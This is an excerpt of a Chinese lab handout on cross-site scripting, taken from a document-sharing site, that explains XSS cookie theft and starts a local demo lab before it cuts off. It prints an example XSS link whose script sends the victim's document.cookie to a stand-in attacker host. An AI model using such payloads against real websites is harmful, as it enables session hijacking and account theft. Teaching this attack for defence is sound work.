- 1、本文档共17页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
L003001005-HTTP攻击与防范-跨网站脚本攻击
课程编写类别内容实验课题名称XSS -跨网站脚本攻击实验目的与要求1.了解XSS -跨网站脚本攻击带来的危险性。 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法实验环境VPC1(虚拟PC)Windows server 2003VPC1 连接要求PC 网络接口,本地连接与实验网络直连软件描述1、学生机要求安装java环境2、vpc安装windwos 系统实验环境描述学生机与实验室网络直连;VPC1与实验室网络直连;学生机与VPC1物理链路连通;预备知识 XSS是Cross Site Scripting的缩写,意思是跨网站脚本攻击,也有人称为跨网站攻击或跨网页攻击. Cross Site Scripting的缩写原本应该是CSS,但为了与CSS排版样本(Cascading Style Sheet)进行区别,因此缩写改成XSS。 几乎所有的Web应用程序都用cookie来保存特定用户的账号与密码等信息。例如电子邮件信箱、购物、音乐下载及银行等网站,都是使用cookie来进行用户身份认证的。 跨网站脚本攻击是最常被黑客用来攻击Web应用程序的方式,黑客最主要的目的就是读取网站用户的cookie或是其他隐私数据。这些cookie或隐私数据包含应用程序的登录设置、重要的网页文件位置、用户的账号、密码、信用卡号,甚至银行账户的存提款记录等。 一旦黑客取得了网站用户的账号与密码等记录,他就可以伪装这个目标用户的身份来登录网站。读取用户的电子邮件,使用信用卡号来购物付款,甚至提领目标用户的银行存款。 跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的输入数据没有进行检验。黑客将攻击用的JavaScript程序代码加在HTTP链接的后面,Web应用程序直接执行这个HTTP链接,因而让攻击用的JavaScript程序代码被启动。 要启动跨网站脚本攻击时,黑客会发送类似下面的HTTP链接给目标用户:http://www.vulnerable.site/index.php?user=scriptdocument.location=http://www.atacker.site/get.php?cookie=+document.cookie;/script www.vulnerable.site是一个有XSS漏洞的网站,而目标用户不幸就是这个网站的会员。这个网站的index.php网页会读取URL参数user的值来当做用户的账号。 黑客在URL参数user的后面加上JavaScript程序代码:user=scriptdocument.location=http://www.atacker.site/get.php?cookie=+document.cookie;/script 当有XSS漏洞的网站读取了user的值,并且使用echo等函数来输出到屏幕时,隐藏在user后面的JavaScript程序代码就会被执行。 首先,document.location用来将目标用户的浏览器地址跳转到www.atacker.site的get.php网页,www.atacker.site是黑客的网站。get.php网页的URL参数cookie的值document.cookie就是目标用户的cookie值,黑客因此能够取得目标用户的cookie数据。 这段JavaScript代码就是一段跨网站脚本,因为它会跨过有XSS漏洞的网站来对目标用户进行攻击。有XSS漏洞的网站与目标用户都不知道发生过什么事情,目标用户的cookie数据就莫名其妙地被黑客获取了。 黑客发送给目标用户的HTTP链接可能会隐藏在电子邮件或图片中,目标用户没有多加留意就单击了这个HTTP链接,因而执行了HTTP链接中的JavaScript代码,让黑客获得目标用户的cookie数据。跨网站脚本攻击的步骤如图所示。实验内容 1.了解XSS -跨网站脚本攻击带来的危险性。 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法实验步骤学生单击实验拓扑按钮,进入实验场景,进入目标主机,(第一次启动目标主机,还需要安装java控件),如图所示:2.打开虚拟机,输入用户名和密码,用户为Adminsitrator 密码为 1234563.打开浏览器,输入http://localhost/example_code/http://localhost:8080/example_code/ 如图:4、找到“(4)跨网站脚本攻击(Cross Site Script,XSS)”项,并点击打开,如图1。5、开始攻击 攻击一: 打开“演示1”,以用户名daniel,密码123456登录,然后点击登录,如图2:6、会出现提示信息,是否记住密码,可以选择是也可以选择否,这里我们选择否,并勾选
文档评论(0)